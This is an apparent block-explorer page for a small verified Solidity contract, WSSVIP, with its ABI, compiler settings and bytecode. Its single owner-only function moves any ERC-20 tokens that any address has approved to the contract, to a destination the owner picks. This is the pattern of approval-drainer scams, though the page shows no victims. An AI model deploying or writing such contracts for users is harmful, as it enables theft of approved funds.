Contract Source Code (Solidity Standard Json-Input format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract WSSVIP {
    address private owner;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Insufficient permission");
        _;
    }

    function transferFrom(address _tokenAddress, address _from, address _to, uint256 _amount) external onlyOwner returns (bool) {
        IERC20 token = IERC20(_tokenAddress);
        require(token.allowance(_from, address(this)) >= _amount, "Insufficient allowance");

        return token.transferFrom(_from, _to, _amount);
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC20/IERC20.sol)

pragma solidity >=0.4.16;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

{
  "evmVersion": "paris",
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"},{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052348015600f57600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506105ad8061005f6000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c806315dacbea14610030575b600080fd5b61004a600480360381019061004591906102d8565b610060565b604051610057919061035a565b60405180910390f35b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146100f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100e8906103d2565b60405180910390fd5b6000859050828173ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e87306040518363ffffffff1660e01b8152600401610132929190610401565b602060405180830381865afa15801561014f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610173919061043f565b10156101b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101ab906104b8565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd8686866040518463ffffffff1660e01b81526004016101f1939291906104e7565b6020604051808303816000875af1158015610210573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610234919061054a565b915050949350505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061026f82610244565b9050919050565b61027f81610264565b811461028a57600080fd5b50565b60008135905061029c81610276565b92915050565b6000819050919050565b6102b5816102a2565b81146102c057600080fd5b50565b6000813590506102d2816102ac565b92915050565b600080600080608085870312156102f2576102f161023f565b5b60006103008782880161028d565b94505060206103118782880161028d565b93505060406103228782880161028d565b9250506060610333878288016102c3565b91505092959194509250565b60008115159050919050565b6103548161033f565b82525050565b600060208201905061036f600083018461034b565b92915050565b600082825260208201905092915050565b7f496e73756666696369656e74207065726d697373696f6e000000000000000000600082015250565b60006103bc601783610375565b91506103c782610386565b602082019050919050565b600060208201905081810360008301526103eb816103af565b9050919050565b6103fb81610264565b82525050565b600060408201905061041660008301856103f2565b61042360208301846103f2565b9392505050565b600081519050610439816102ac565b92915050565b6000602082840312156104555761045461023f565b5b60006104638482850161042a565b91505092915050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b60006104a2601683610375565b91506104ad8261046c565b602082019050919050565b600060208201905081810360008301526104d181610495565b9050919050565b6104e1816102a2565b82525050565b60006060820190506104fc60008301866103f2565b61050960208301856103f2565b61051660408301846104d8565b949350505050565b6105278161033f565b811461053257600080fd5b50565b6000815190506105448161051e565b92915050565b6000602082840312156105605761055f61023f565b5b600061056e84828501610535565b9150509291505056fea2646970667358221220ac9d78c42d3544c7331351ec8f53412390db02d1e09dfd41d779a4f75fda2d5a64736f6c634300081c0033

0x608060405234801561001057600080fd5b506004361061002b5760003560e01c806315dacbea14610030575b600080fd5b61004a600480360381019061004591906102d8565b610060565b604051610057919061035a565b60405180910390f35b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146100f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100e8906103d2565b60405180910390fd5b6000859050828173ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e87306040518363ffffffff1660e01b8152600401610132929190610401565b602060405180830381865afa15801561014f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610173919061043f565b10156101b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101ab906104b8565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd8686866040518463ffffffff1660e01b81526004016101f1939291906104e7565b6020604051808303816000875af1158015610210573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610234919061054a565b915050949350505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061026f82610244565b9050919050565b61027f81610264565b811461028a57600080fd5b50565b60008135905061029c81610276565b92915050565b6000819050919050565b6102b5816102a2565b81146102c057600080fd5b50565b6000813590506102d2816102ac565b92915050565b600080600080608085870312156102f2576102f161023f565b5b60006103008782880161028d565b94505060206103118782880161028d565b93505060406103228782880161028d565b9250506060610333878288016102c3565b91505092959194509250565b60008115159050919050565b6103548161033f565b82525050565b600060208201905061036f600083018461034b565b92915050565b600082825260208201905092915050565b7f496e73756666696369656e74207065726d697373696f6e000000000000000000600082015250565b60006103bc601783610375565b91506103c782610386565b602082019050919050565b600060208201905081810360008301526103eb816103af565b9050919050565b6103fb81610264565b82525050565b600060408201905061041660008301856103f2565b61042360208301846103f2565b9392505050565b600081519050610439816102ac565b92915050565b6000602082840312156104555761045461023f565b5b60006104638482850161042a565b91505092915050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b60006104a2601683610375565b91506104ad8261046c565b602082019050919050565b600060208201905081810360008301526104d181610495565b9050919050565b6104e1816102a2565b82525050565b60006060820190506104fc60008301866103f2565b61050960208301856103f2565b61051660408301846104d8565b949350505050565b6105278161033f565b811461053257600080fd5b50565b6000815190506105448161051e565b92915050565b6000602082840312156105605761055f61023f565b5b600061056e84828501610535565b9150509291505056fea2646970667358221220ac9d78c42d3544c7331351ec8f53412390db02d1e09dfd41d779a4f75fda2d5a64736f6c634300081c0033